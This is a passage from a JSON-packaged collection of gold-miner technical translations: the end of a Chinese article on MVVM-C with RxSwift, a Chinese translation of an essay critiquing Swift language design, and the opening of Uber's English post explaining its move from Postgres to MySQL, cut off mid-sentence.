UI。\n\n可能会有很多不同的组件在你的 `ViewModel` 里，比如一个用来管理数据库（CoreData、Realm 等等）的数据控制器，一个用来与你 API 和其他任何外部依赖交互的数据提供者。\n\n因为所有 `ViewModel` 都使用了 RxSwift，所以当一个属性是 RxSwift 类型（`Driver`、`Observable` 等等）的时候，就会有一个 `rx_` 前缀。这不是强制的，只是它可以帮助你更好的识别哪些属性是 RxSwift 对象。\n\n# 结论\n\nMVVM-C 有很多优点，可以提高应用程序的质量。你应该注意使用哪种方式来进行 UI 绑定，因为 RxSwift 不容易掌握，而且如果你不明白你做的是什么，调试和测试有时可能会有点棘手。\n\n我的建议是一点点地开始使用这种架构模式，这样你可以学习不同层次的使用，并且能保证层次之间的良好的分离，易于测试。\n\n# FAQ\n\n**MVVM-C 有什么限制吗？**\n\n是的，当然有。如果你正做一个复杂的项目，你可能会遇到一些边缘案例，MVVM-C 可能无法使用，或者在一些小功能上使用过度。如果你开始使用 MVVM-C，并不意味着你必须在每个地方都强制的使用它，你应该始终选择更适合你需求的架构。\n\n**我能用 RxSwift 同时使用函数式和命令式编程吗？**\n\n是的，你可以。但是我建议你在遗留的代码中保持命令式的方式，而在新的实现里使用函数式编程，这样你可以利用 RxSwift 强大的优势。如果你使用 RxSwift 仅仅为了 UI 绑定，你可以轻松使用命令式编写程序，而只用函数响应式编程来设置绑定。\n\n**我可以在企业项目中使用 RxSwift 吗？**\n\n这取决于你要开新项目，还是要维护旧代码。在有遗留代码的项目中，你可能无法使用 RxSwift，因为你需要重构很多的类。如果你有时间和资源来做，我建议你新开一项目一点一点的做，否则还是尝试其他的方法来解决 UI 绑定的问题。\n\n需要考虑的一个重要事情是，RxSwift 最终会成为你项目中的另一个依赖，你可能会因为 RxSwift 的破坏性改动而导致浪费时间的风险，或者缺少要在边缘案例中实现功能的文档。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/my-least-favorite-thing-about-swift.md",
    "content": "> * 原文地址：[My Least Favorite Thing About Swift](http://khanlou.com/2016/08/my-least-favorite-thing-about-swift/)\n* 原文作者：[Soroush Khanlou](http://www.twitter.com/khanlou)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cbangchen](https://github.com/cbangchen)\n* 校对者：[zhangliukun](https://github.com/zhangliukun) [mengsir](https://github.com/steinliber)\n\n# 关于 Swift，我不喜欢的几点\n\n关于喜欢 Swift 的理由，可以有很多，[之前](http://khanlou.com/2016/05/six-months-of-swift/)我已经写到了。\n但是今天，我想要写的是这门语言不足的地方。这是一个有着很多细微差别且具有很强争议性的问题，所以我将举出几个例子，这几个例子是关于我所认为的这门语言做的好的地方，做的不好的地方和这门语言未来的前途如何。\n\n### 语言内定义 VS 非语言内定义\n\n看一下 Ruby\n\nRuby 的 `attr_accessor` 是一种定义实例变量的 setter 和 getter 的方法。你会像下面这样使用它：\n\n\n    class Person\n    \tattr_accessor :first_name, :last_name\n    end\n\n乍一看，它像是一种语言的特性，就像 Swift 的 `let` 和 `var` 两种属性声明方式。但是 Ruby 的函数即便没有括号也可以被调起，而且这只是一个被定义在类范围内的函数（在 Swift 中我们将会调起一个静态函数）：\n\n    def self.attr_accessor(*names)\n      names.each do |name|\n        define_method(name) {instance_variable_get(\"@#{name}\")} # This is the getter\n        define_method(\"#{name}=\") {|arg| instance_variable_set(\"@#{name}\", arg)} # This is the setter\n      end\n    end\n\n如果你不能读懂 Ruby ，没有关系。它使用了一个名为 `define_method` 的函数来为你所传递的 keys 创建一个 getter 和 setter。在 Ruby 中，`@first_name` 意味着一个名为 `first_name` 的实例变量。\n\n这是我爱上 Ruby 这门语言的设计的其中一个原因 - 他们首先设计了一个能够创建有用的语言特性的元数据工具集，然后他们使用这些工具来实现他们所需要的语言特性。[Yehuda Katz explores](http://yehudakatz.com/2010/02/07/the-building-blocks-of-ruby/) 讲述了 Ruby 是怎样在它的 blocks 中实现这个想法的。因为 Ruby 的语言特性是通过相同的工具以及相同的用户可使用的语言编写而成，所以用户也可以使用定义这门语言所相似的风格和范畴来编写语言特性。\n\n### 可选类型\n\n这给我们带来了 Swift。Swift 的一个核心特性就是它的 `Optional`（可选）类型。允许用户定义某个变量是否可以为空。在系统中，有这样的一个枚举：\n\n    enum Optional {\n    \tcase Some(WrappedType)\n    \tcase None\n    }\n\n就像 `attr_accessor` ，这个特性使用了一个 Swift 的语言结构来定义自身。这是很好的，因为这也意味着用户可以使用不同的语义来创建相似的事物，就像这个虚构的 `RemoteLoading` 类型:\n\n    enum RemoteLoading {\n    \tcase Loaded(WrappedType)\n    \tcase Pending\n    }\n\n它和 `Optional` 有着相同的形态却有着不同的含义。（[在一个不错的博客帖子里](http://holko.pl/2016/06/09/data-state-as-an-enum/)，Arkadiusz Holko 让这个枚举有了进一步的改变）\n\n然而，在某种程度上，Swift 的编译器 **知道** `Optional` (可选) 类型但却不知道 `RemoteLoading`（远程加载），这可以让你做一些特殊的事情。看一下这些相同的声明：\n\n\n    let name: Optional = .None\n    let name: Optional = nil\n    let name: String? = nil\n    var name: String?\n\n让我们解析一下它们。第一条语句是完整的表述（带有类型推断）。你可以使用相同的语法声明你自己的 `RemoteLoading` （远程加载）属性。第二条语句使用了 `NilLiteralConvertible` 协议来定义当你把这个值设置为 nil 的时候所要执行的操作。虽然这种语法对于你自己的类型访问是可以的，但是配合 `RemoteLoading` （远程加载）使用却显得不是很正确。这是首先被设计来使 Swift 编写 C 族语言的时候感觉更加顺畅的几条语言特性，待会我们会再次提到这一点。\n\n第三条和第四条语句，编译器开始使用 `Optional` (可选) 类型来允许我们编写特殊的代码，这些代码确定了我们所编写代码的类型。第三条语句使用了一个 `Optional` (可选)类型的简写 `T?`。这被称为 **语法糖** ，这种语法可以用更简单的方式来编写常用的代码。最后一句是另外一块语法糖：如果你定义一个可选类型，但是你不赋给它任何值，那编译器将会推测出它的值应该为 `.None`/`nil` （仅仅当他是一个 `var` 变量的时候才成立）。\n\n后面的两条语句都不允许自定义可访问类型。这种语言的 `Optional` （可选）类型，它的出现令人十分赞叹，通过被语言内已存在结构所定义，最终除了特殊情况下产生的编译器异常外，只有指定的类型才能访问。\n\n### 家族\n\nSwift 是一门被定义为“在 C 语言家族中宾至如归”的语言。这个意义来自于它的 loop (循环)语句和 if 语句。\n\nSwift 的 `for..in` 语法结构是特殊的。任何符合 `SequenceType` 的事物可以通过一个 `for..in` 循环来遍历。这意味着我可以定义自己的类型值，声明它们的连续性，然后在 `for..in` 循环中来使用它们。\n\n虽然 `if` 语句和 `while` 循环是通过 `BooleanType` 类型[在 Swift 2.2 中这样子工作的](http://khanlou.com/2016/06/falsiness-in-swift/)，但是这种功能在  Swift 3\\ 已经被移除了。我不能像在 `for..in` 循环语句中那样子定义自己的布尔类型值然后在 `if` 语句中使用。\n\n从根本上来说，对于一种语言特性，它们是两种完全不同的方法，也在 Swift 中定义了一种二元性。首先创建了一个可以用来定义语言特性的元工具；另外创建了语言特性和语言类型值之间的一种明确和具体的联系。\n\n你可以对于符合 `SequenceType` 的类型值比符合 `BooleanType` 的类型值更加有用这个观点提出异议。但是，Swift 3 已经完全的移除了这个特性，所以，你只能承认：你不得不去认为 `BooleanType` 是如此没有用处以至于会被完全禁止。\n\n能够自己去定义符合 `SequenceType` 的类型值意味着，这门语言相信我可以像它自己的标准库一样，在相同的水平上，能够自行定义有用的抽象概念值。（没有值丢失，安全，严格！）。\n\n### 运算符\n\n在 Swift 中的运算符也值得研究。语言中存在着定义运算符的语法，所有的算术运算符都是在这个语法中被定义的。用户们可以自由的定义自己的运算符，这对于想要创建[自己的长整数类型](https://github.com/lorentey/BigInt) 的同时也想要使用标准的算术运算符来说是有用处的。\n\n然而 `+` 运算符在语言中被定义，三元运算符 `?:` 却没有。当你点击 `+` 时，命令跳转到这个运算符的声明处。当你点击三元运算符中的 `?` 和 `:` 的时候，却没有任何反应。如果你想要在你的代码中使用单个的问号和感叹号作为操作符的话，这是做不到的。注意我这里 **不是** 说在你的代码中使用一个感叹号操作符不是一个好主意。我只是想说，这个操作符已经被特殊对待，硬编码到了编译器，与其他 C 中定义的操作符一般无二。\n\n这三个例子中的每一个，我们都比较了两个东西：第一个是一种被标准类库用来实现特性的有用语法；一种特权标准库超越使用者代码的特殊情况。\n\n最好的语法和语法糖是可以被一门语言的作者利用自己的类型和系统不断深入挖掘的。Swift 有时候使用类似 `NilLiteralConvertible`, `SequenceType`, 和易僵化的 `BooleanType` 等协议来处理这些事情。这种 `var name: String?` 能够推测出自己的默认属性值（`.None`）的方式很明显不符合这个条件，因此这是一种不那么给力的语法糖。\n\n我认为另一个值得注意的点是，即使我爱 Ruby 的语法，但是 Ruby 在运算符和 falsiness 这两个地方却不是很灵活。你可以自行定义已存在运算符的实现方式，但是不能添加一个新的运算符，而且运算符的优先级也是固定的。Swift 在这个方面 **更** 灵活。而且，当然，在 Swift 3 之前，Swift 在定义 falsiness 方面同样具有更强的灵活性。\n\n### 错误\n\n在某种程度上来说，Swift 的可选类型类似于 C 语言的可空性， Swift 的错误处理也类似于 C 语言的异常处理。Swift 的错误处理引入了一些新的关键词：`do`, `try`, `throw`, `throws`, `rethrows`, 和 `catch`。\n\n使用 `throws` 标记的函数和方法可以 `return` 一个值或者 `throw` 一个 `ErrorType`。被抛出的错误将会在 `catch` blocks函数中被捕捉到。在这种机制下，你可以想象 Swift 是通过内部隐含的代表成功或者失败的 `_Result` 类型 （就像 [`antitypical/Result`](https://github.com/antitypical/Result)）来重写一个函数的返回值的。\n\n    func doThing(with: Property) throws -> Value\n\n（事实上，这种 `_Result` 类型并没有被显式定义，而是[在编译器中被隐式的处理了]((https://marc.ttias.be/swift-evolution/2016-08/msg00322.php))。这对于我们的例子并没有造成太多的不同。）在调用函数的内部，传入成功的值的时候将会通过 `try` 语句，而发生错误的时候，则会跳入并执行 `catch` block函数。\n\n对比这个与之前的例子中有用的语言特性在语言内部被定义的地方，再 **在上面** 加上语法（例如操作符和 `SequenceType`）和语法糖（例如 `Optional`（可选性））,那么这个代码就变的像我们所期待的那样了。相反的，Swift 的错误处理并没有暴露它的内部 `_Result` 模型，所以用户无法使用或者改变它。\n\n一些情况下使用 Swift 模型来进行错误处理非常合适，例如[Brad Larson 用来移动机器人手臂的代码](http://www.sunsetlakesoftware.com/2015/06/12/swift-2-error-handling-practice)和[我的 JSON 解析代码](http://khanlou.com/2016/04/decoding-json/)。其他情况的话，使用 `Result` 类型和 `flatMap` 会更合适。\n\n其他的代码可能依赖异步处理，想要传递一个 `Result` 的类型值到一个处理完成 block。苹果的解决方案只能在某些特定的情况下起到作用，给予在错误模型上更大的自由可以帮助缩小这门语言和使用者之间的距离。`Result` 是很好的，因为它足够灵活，可以在上面玩很多花样。`try`/`catch` 语法并不是很给力，因为它的使用十分严格而且只有一种使用方法。\n\n### 未来\n\nSwift 4 承诺很快异步的语言特性就会可以使用。目前还不清楚将如何实现这些功能，但是 Chris Lattner 已经写了关于如何使用 Swift 4 的书籍：\n\n> 一流的并发，包括：Actors、同步/等待、原子性、内存模型及其它一些相关主题。\n\n异步/等待 是我对于 Swift 的异步的处理机制后面将会是什么模样所采取的主要理论。在外行人眼里看来，异步/等待 涉及到当函数是异步的时候，需要声明函数的 `async`，并使用 `await` 来等待函数方法的结束。从 C# 的这个简单例子来了解一下：\n\n\n    async Task GetIntAsync()\n    {\n        return new Task(() =>\n        {\n            Thread.Sleep(10000);\n            return 1\n        });\n    }\n\n    async Task MyMethodAsync()\n    {\n        int result = await GetIntAsync();\n        Console.WriteLine(result);\n    }\n\n第一个函数方法，`GetIntAsync` 返回了一个任务，该任务等待一段时间后返回了一个值。因为这个函数返回了一个 `Task`，所以被标记为 `async`。第二个函数方法，首先调用 `MyMethodAsync`，使用关键词 `await`。这通知了整个系统，在 `Task` 完成并执行 `GetIntAsync`\n之前，这个系统可以做其他的事情。而一旦这个任务完成了，这个函数就会恢复控制功能，重新获得编写控制台输出的能力。\n\n从这个例子看来，C# 的 `Task` 对象看起来很像 [Promise (承诺)](http://khanlou.com/2016/08/promises-in-swift/)。此外，任何使用 `await` 的函数都必须被定义为 `async`。编译器可以确保这点。这个解决方案体现了出了 Swift 的错误模型：被抛出的函数方法必须被捕捉到，而如果没有，那这些函数方法一定也是被标记了 `throws` 。\n\n它也像错误模型一样有着缺陷。一个全新的构造和一些关键词的添加之后使它变的更像是一种纯粹的语法糖而不是一个更有用的工具。这种构造一部分依赖于在标准库中定义的类型，一部分依赖于编译器定义的语法。\n\n### 属性\n\n属性行为是 Swift 4 可能引入的另一个重大特性。这里是关于属性行为的[被拒绝的提案](https://github.com/apple/swift-evolution/blob/master/proposals/0030-property-behavior-decls.md)，被用来对 Swift 4 进行更加仔细地检查。\n\n属性行为让你可以对一个属性附加上一个类似 `lazy` 的行为。这个 `lazy` 属性，举个例子，将只在第一次访问时设置一个值。但你现在已经可以使用这个特定的行为，这是直接硬编码进 Swift 的编译器的。提出的属性行为将允许标准库设施来实现一些行为和允许用户进行完全的自定义。\n\n可能这已经是全世界最好的特性了。从一个已经被硬编码进编译器的一个特性开始，然后在这个特性取得一定声望之后，创建一个更通用的框架来允许你通过语言本身定义这个特性。在这一点上,任何 Swift 的作者都可以创建类似的功能，精确调整来满足自己的需求。\n\n如果 Swift 的错误模型遵循着相同的路径，Swift 的标准库可能会暴露出一个 `Result` 类型值，然后任何返回一个 `Result` 的功能都可以使用 `do`/`try`/`catch` 语法（就像那些可以单个失败的并行、同步事件）。对于那些不需要符合当前可用语法的错误，就像异步错误，用户可能拥有一个他们可以使用的一个共同的 `Result`。如果这个 `Result` 同时请求很多锁，用户可以 `flatMap`。\n\n### 元编程\n\n异步/等待 能够以相似的方式工作。定义一个 `Promise` 或者 `Task` 协议，而符合这些协议的将会可以 `await` 的。 `then` 或者 `flatMap` 将会是类型中可用的部分，根据用户的需求，它们能够根据需要以不同的程度使用语言的特性。\n\n我想要去更加多的认识元编程，我已经写了具有扩展性的[关于 Objective-C 中的元编程](http://genius.com/Soroush-khanlou-metaprogramming-isnt-a-scary-word-not-even-in-objective-c-annotated)，但是它与我们正着手在做的东西很相似。代码和元代码之间的界限是模糊的。Swift 编译器中的代码是元代码，并且 Swift 本身也是代码。如果定义一个 operator 函数的实现（就像Ruby所做的）就是代码，那么定义一个全新的运算符看起来就像是元代码。\n\n作为一种面向协议的语言，Swift 很独特的被专门设置来让我们挖掘这门语言的语法魅力，就像我们用 `BooleanType` 和 `SequenceType` 所做的一样。我很乐意去看一下这些被扩展的能力。 \n\n关键词停止和语法开始或者语法停止和语法糖开始的界限，不是很明确，但是使用这门语言编写代码的工程师应该有能力去使用那些同样被用来开发标准库的工具。  \n\n"
  },
  {
    "path": "TODO/mysql-migration.md",
    "content": "> * 原文链接: [WHY UBER ENGINEERING SWITCHED FROM POSTGRES TO MYSQL](https://eng.uber.com/mysql-migration/)\n* 原文作者: [EVAN KLITZKE](https://eng.uber.com/mysql-migration/)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: \n* 校对者: \n\n\n### Introduction\n\nThe early architecture of Uber consisted of a monolithic backend application written in Python that used [Postgres](http://www.postgresql.org/) for data persistence. Since that time, the architecture of Uber has changed significantly, to a model of [microservices](https://eng.uber.com/soa/) and new data platforms. Specifically, in many of the cases where we previously used Postgres, we now use [Schemaless](https://eng.uber.com/schemaless-part-one/), a novel database sharding layer built on top of MySQL. In this article, we’ll explore some of the drawbacks we found with Postgres and explain the decision to build Schemaless and other backend services on top of MySQL.\n\n### The Architecture of Postgres\n\nWe encountered many Postgres limitations:\n\n*   Inefficient architecture for writes\n*   Inefficient data replication\n*   Issues with table corruption\n*   Poor replica MVCC support\n*   Difficulty upgrading to newer releases\n\nWe’ll look at all of these limitations through an analysis of Postgres’s representation of table and index data on disk, especially when compared to the way MySQL represents the same data with its [InnoDB storage engine](http://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html). Note that the analysis that we present here is primarily based on our experience with the somewhat old Postgres 9.2 release series. To our knowledge, the internal architecture that we discuss in this article has not changed significantly in newer Postgres releases, and the basic design of the on-disk representation in 9.2 hasn’t changed significantly since at least the Postgres 8.3 release (now nearly 10 years old).\n\n#### On-Disk Format\n\nA relational database must perform a few key tasks:\n\n*   Provide insert/update/delete capabilities\n*   Provide capabilities for making schema changes\n*   Implement a [multiversion concurrency control](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) (MVCC) mechanism so that different connections have a transactional view of the data they work with\n\nConsidering how all of these features will work together is an essential part of designing how a database represents data on disk.\n\nOne of the core design aspects of Postgres is immutable row data. These immutable rows are called “tuples” in Postgres parlance. These tuples are uniquely identified by what Postgres calls a [ctid](http://www.postgresql.org/docs/9.5/static/ddl-system-columns.html). A ctid conceptually represents the on-disk location (i.e., physical disk offset) for a tuple. Multiple ctids can potentially describe a single row (e.g., when multiple versions of the row exist for MVCC purposes, or when old versions of a row have not yet been reclaimed by the [autovacuum](http://www.postgresql.org/docs/9.2/static/routine-vacuuming.html#AUTOVACUUM) process). A collection of organized tuples form a table. Tables themselves have indexes, which are organized as data structures (typically B-trees) that map index fields to a ctid payload.\n\nTypically, these ctids are transparent to users, but knowing how they work helps you understand the on-disk structure of Postgres tables. To see the current ctid for a row, you can add “ctid” to the column list in a WHERE clause:\n\n```\nuber@[local] uber=> SELECT ctid, * FROM my_table LIMIT 1;\n\n-[ RECORD 1 ]--------+------------------------------\n\nctid                 | (0,1)\n\n...other fields here...\n```\n\nTo explain the details of the layout, let’s consider an example of a simple users table. For each user, we have an auto-incrementing user ID primary key, the user’s first and last name, and the user’s birth year. We also define a compound secondary index on the user’s full name (first and last name) and another secondary index on the user’s birth year. The [DDL](https://en.wikipedia.org/wiki/Data_definition_language) to create such a table might be like this:\n\n```\nCREATE TABLE users (\n\n    id SERIAL,\n\n    first TEXT,\n\n    last TEXT,\n\n    birth_year INTEGER,\n\n    PRIMARY KEY (id)\n\n);\n CREATE INDEX ix_users_first_last ON users (first, last);\n CREATE INDEX ix_users_birth_year ON users (birth_year);\n```\n\nNote the three indexes in this definition: the primary key index plus the two secondary indexes we defined.\n\nFor the examples in this article we’ll start with the following data in our table, which consists of a selection of influential historical mathematicians:\n\nAs described earlier, each of these rows implicitly has a unique, opaque ctid. Therefore, we can think of the internal representation of the table like this:\n\n| **ctid** | **id** | **first** | **last** | **birth_year** |\n| :-: | :-: | :-: | :-: | :-: |\n| A | 1 | Blaise | Pascal | 1623 |\n| B | 2 | Gottfried | Leibniz | 1646 |\n| C | 3 | Emmy | Noether | 1882 |\n| D | 4 | Muhammad | al-Khwārizmī | 780 |\n| E | 5 | Alan | Turing | 1912 |\n| F | 6 | Srinivasa | Ramanujan | 1887 |\n| G | 7 | Ada | Lovelace | 1815 |\n| H | 8 | Henri | Poincaré | 1854 |\n\nThe primary key index, which maps ids to ctids, is defined like this:\n\n| **id** | **ctid** |\n| :-: | :-: |\n| 1 | A |\n| 2 | B |\n| 3 | C |\n| 4 | D |\n| 5 | E |\n| 6 | F |\n| 7 | G |\n| 8 | H |\n\nThe B-tree is defined on the id field, and each node in the B-tree holds the ctid value. Note that in this case, the order of the fields in the B-tree happens to be the same as the order in the table due to the use of an auto-incrementing id, but this doesn’t necessarily need to be the case.\n\nThe secondary indexes look similar; the main difference is that the fields are stored in a different order, as the B-tree must be organized lexicographically. The (first, last) index starts with first names toward the top of the alphabet:\n\n| **first** | **last** | **ctid** |\n| :-: | :-: | :-: |\n| Ada | Lovelace | G |\n| Alan | Turing | E |\n| Blaise | Pascal | A |\n| Emmy | Noether | C |\n| Gottfried | Leibniz | B |\n| Henri | Poincaré | H |\n| Muhammad | al-Khwārizmī | D |\n| Srinivasa | Ramanujan | F |\n\nLikewise, the birth_year index is clustered in ascending order, like this:\n\n| **birth_year** | **ctid** |\n| :-: | :-: |\n| 780 | D |\n| 1623 | A |\n| 1646 | B |\n| 1815 | G |\n| 1854 | H |\n| 1887 | F |\n| 1882 | C |\n| 1912 | E |\n\nAs you can see, in both of these cases the ctid field in the respective secondary index is not increasing lexicographically, unlike in the case of an auto-incrementing primary key.\n\nSuppose we need to update a record in this table. For instance, let’s say we’re updating the birth year field for another estimate of al-Khwārizmī’s year of birth, 770 CE. As we mentioned earlier, row tuples are immutable. Therefore, to update the record, we add a new tuple to the table. This new tuple has a new opaque ctid, which we’ll call _I_. Postgres needs to be able to distinguish the new, active tuple at _I_ from the old tuple at _D_. Internally, Postgres stores within each tuple a version field and pointer to the previous tuple (if there is one). Accordingly, the new structure of the table looks like this:\n\n| **ctid** | **prev** | **id** | **first** | **last** | **birth_year** |\n| :-: | :-: | :-: | :-: | :-: | :-: |\n| A | null | 1 | Blaise | Pascal | 1623 |\n| B | null | 2 | Gottfried | Leibniz | 1646 |\n| C | null | 3 | Emmy | Noether | 1882 |\n| D | null | 4 | Muhammad | al-Khwārizmī | 780 |\n| E | null | 5 | Alan | Turing | 1912 |\n| F | null | 6 | Srinivasa | Ramanujan | 1887 |\n| G | null | 7 | Ada | Lovelace | 1815 |\n| H | null | 8 | Henri | Poincaré | 1854 |\n| I | D | 4 | Muhammad | al-Khwārizmī | 770 |\n\nAs long as two versions of the al-Khwārizmī row exist, the indexes must hold entries for both rows. For brevity, we omit the primary key index and show only the secondary indexes here, which look like this:\n\n| **first** | **last** | **ctid** |\n| :-: | :-: | :-: |\n| Ada | Lovelace | G |\n| Alan | Turing | E |\n| Blaise | Pascal | A |\n| Emmy | Noether | C |\n| Gottfried | Leibniz | B |\n| Henri | Poincaré | H |\n| Muhammad | al-Khwārizmī | D |\n| Muhammad | al-Khwārizmī | I |\n| Srinivasa | Ramanujan | F |\n\n| **birth_year** | **ctid** |\n| :-: | :-: |\n| 770 | I |\n| 780 | D |\n| 1623 | A |\n| 1646 | B |\n| 1815 | G |\n| 1854 | H |\n| 1887 | F |\n| 1882 | C |\n| 1912 | E |\n\nWe’ve represented the old version in red and the new row version in green. Under the hood, Postgres uses _another_ field holding the row version to determine which tuple is most recent. This added field lets the database determine which row tuple to serve to a transaction that may not be allowed to see the latest row version.\n\n![Postgres_Tuple_Property_](https://eng.uber.com/wp-content/uploads/2016/07/Postgres_Tuple_Property_-1024x487.png)\n\nWith Postgres, the primary index and secondary indexes all point directly to the on-disk tuple offsets. When a tuple location changes, all indexes must be updated.\n\n#### Replication\n\nWhen we insert a new row into a table, Postgres needs to replicate it if streaming replication is enabled. For crash recovery purposes, the database already maintains a [write-ahead log](https://en.wikipedia.org/wiki/Write-ahead_logging) (WAL) and uses it to implement [two-phase commit](https://en.wikipedia.org/wiki/Two-phase_commit_protocol). The database must maintain this WAL even when streaming replication is not enabled because the WAL allows the atomicity and durability aspects of [ACID](https://en.wikipedia.org/wiki/ACID).\n\nWe can understand the WAL by considering what happens if the database crashes unexpectedly, like during a sudden power loss. The WAL represents a ledger of the changes the database plans to make to the on-disk contents of tables and indexes. When the Postgres daemon first starts up, the process compares the data in this ledger with the actual data on disk. If the ledger contains data that isn’t reflected on disk, the database corrects any tuple or index data to reflect the data indicated by the WAL. It then rolls back any data that appears in the WAL but is from a partially applied transaction (meaning that the transaction was never committed).\n\nPostgres implements streaming replication by sending the WAL on the master database to replicas. Each replica database effectively acts as if it’s in crash recovery, constantly applying WAL updates just as it would if it were starting up after a crash. The only difference between streaming replication and actual crash recovery is that replicas in “hot standby” mode serve read queries while applying the streaming WAL, whereas a Postgres database that’s actually in crash recovery mode typically refuses to serve any queries until the database instance finishes the crash recovery process.\n\nBecause the WAL is actually designed for crash recovery purposes, it contains low-level information about the on-disk updates. The content of the WAL is at the level of the actual on-disk representation of row tuples and their disk offsets (i.e., the row ctids). If you pause a Postgres master and replica when the replica is fully caught up, the actual on-disk content on the replica exactly matches what’s on the master byte for byte. Therefore, tools like [rsync](https://en.wikipedia.org/wiki/Rsync) can fix a corrupted replica if it gets out of date with the master.\n\n#### Consequences of Postgres’s Design\n\nPostgres’s design resulted in inefficiencies and difficulties for our [data at Uber](https://eng.uber.com/category/uberdata/).\n\n#### Write Amplification\n\nThe first problem with Postgres’s design is known in other contexts as [write amplification](https://en.wikipedia.org/wiki/Write_amplification). Typically, write amplification refers to a problem with writing data to SSD disks: a small logical update (say, writing a few bytes) becomes a much larger, costlier update when translated to the physical layer. The same issue arises in Postgres. In our previous example when we made the small logical update to the birth year for al-Khwārizmī, we had to issue at least four physical updates:\n\n1.  Write the new row tuple to the [tablespace](https://en.wikipedia.org/wiki/Tablespace)\n2.  Update the primary key index to add a record for the new tuple\n3.  Update the (first, last) index to add a record for the new tuple\n4.  Update the birth_year index to add a record for the new tuple\n\nIn fact, these four updates only reflect the writes made to the main tablespace; each of these writes needs to be reflected in the WAL as well, so the total number of writes on disk is even larger.\n\nWhat’s noteworthy here are updates 2 and 3\\. When we updated the birth year for al-Khwārizmī, we didn’t actually change his primary key, nor did we change his first and last name. However, these indexes still must be updated with the creation of a new row tuple in the database for the row record. For tables with a large number of secondary indexes, these superfluous steps can cause enormous inefficiencies. For instance, if we have a table with a dozen indexes defined on it, an update to a field that is only covered by a single index must be propagated into all 12 indexes to reflect the ctid for the new row.\n\n#### Replication\n\nThis write amplification issue naturally translates into the replication layer as well because replication occurs at the level of on-disk changes. Instead of replicating a small logical record, such as “Change the birth year for ctid _D_ to now be 770,” the database instead writes out WAL entries for all four of the writes we just described, and all four of these WAL entries propagate over the network. Thus, the write amplification problem also translates into a replication amplification problem, and the Postgres replication data stream quickly becomes extremely verbose, potentially occupying a large amount of bandwidth.\n\nIn cases where Postgres replication happens purely within a single data center, the replication bandwidth may not be a problem. Modern networking equipment and switches can handle a large amount of bandwidth, and many hosting providers offer free or cheap intra–data center bandwidth. However, when replication must happen between data centers, issues can quickly escalate. For instance, Uber originally used physical servers in a colocation space on the West Coast. For disaster recovery purposes, we added servers in a second East Coast colocation space. In this design we had a master Postgres instance (plus replicas) in our western data center and a set of replicas in the eastern one.\n\n[Cascading replication](http://www.postgresql.org/docs/9.2/static/warm-standby.html) limits the inter–data center bandwidth requirements to the amount of replication required between just the master and a single replica, even if there are many replicas in the second data center. However, the verbosity of the Postgres replication protocol can still cause an overwhelming amount of data for a database that uses a lot of indexes. Purchasing very high bandwidth cross-country links is expensive, and even in cases where money is not an issue it’s simply not possible to get a cross-country networking link with the same bandwidth as a local interconnect. This bandwidth problem also caused issues for us with WAL archival. In addition to sending all of the WAL updates from West Coast to East Coast, we archived all WALs to a file storage web service, both for extra assurance that we could restore data in the event of a disaster and so that archived WALs could bring up new replicas from database snapshots. During peak traffic early on, our bandwidth to the storage web service simply wasn’t fast enough to keep up with the rate at which WALs were being written to it.\n\n#### Data Corruption\n\nDuring a routine master database promotion to increase database capacity, we ran into a Postgres 9.2 bug. Replicas followed [timeline switches](http://www.postgresql.org/docs/9.2/static/continuous-archiving.html) [incorrectly](http://www.postgresql.org/docs/9.2/static/continuous-archiving.html), causing some of them to misapply some WAL records. Because of this bug, some records that should have been marked as inactive by the versioning mechanism weren’t actually marked inactive.\n\nThe following query illustrates how this bug would affect our users table example:\n\n```\nSELECT * FROM users WHERE id = 4;\n```\n\nThis query would return two records: the original al-Khwārizmī row with the 780 CE birth year, plus the new al-Khwārizmī row with the 770 CE birth year. If we were to add ctid to the WHERE list, we would see different ctid values for the two returned records, as one would expect for two distinct row tuples.\n\nThis problem was extremely vexing for a few reasons. To start, we couldn’t easily tell how many rows this problem affected. The duplicated results returned from the database caused application logic to fail in a number of cases. We ended up adding defensive programming statements to detect the situation for tables known to have this problem. Because the bug affected all of the servers, the corrupted rows were different on different replica instances, meaning that on one replica row _X_ might be bad and row _Y_ would be good, but on another replica row _X_ might be good and row _Y_ might be bad. In fact, we were unsure about the number of replicas with corrupted data and about whether the problem had affected the master.\n\nFrom what we could tell, the problem only manifested on a few rows per database, but we were extremely worried that, because replication happens at the physical level, we could end up completely corrupting our database indexes. An essential aspect of B-trees are that they must be periodically [rebalanced](https://en.wikipedia.org/wiki/B-tree#Rebalancing_after_deletion), and these rebalancing operations can completely change the structure of the tree as sub-trees are moved to new on-disk locations. If the wrong data is moved, this can cause large parts of the tree to become completely invalid.\n\nIn the end, we were able to track down the actual bug and use it to determine that the newly promoted master did not have any corrupted rows. We fixed the corruption issue on the replicas by resyncing all of them from a new snapshot of the master, a laborious process; we only had enough capacity to take a few replicas out of the load balancing pool at a time.\n\nThe bug we ran into only affected certain releases of Postgres 9.2 and has been fixed for a long time now. However, we still find it worrisome that this class of bug can happen at all. A new version of Postgres could be released at any time that has a bug of this nature, and because of the way replication works, this issue has the potential to spread into all of the databases in a replication hierarchy.\n\n#### Replica MVCC\n\nPostgres does not have true replica MVCC support. The fact that replicas apply WAL updates [results in them having a copy of on-disk data identical to the master](http://blog.2ndquadrant.com/tradeoffs_in_hot_standby_deplo/) at any given point in time. This design poses a problem for Uber.\n\nPostgres needs to maintain a copy of old row versions for MVCC. If a streaming replica has an open transaction, updates to the database are blocked if they affect rows held open by the transaction. In this situation, Postgres pauses the WAL application thread until the transaction has ended. This is problematic if the transaction takes a long amount of time, since the replica can severely lag behind the master. Therefore, Postgres applies a timeout in such situations: if a transaction blocks the WAL application for a [set amount of 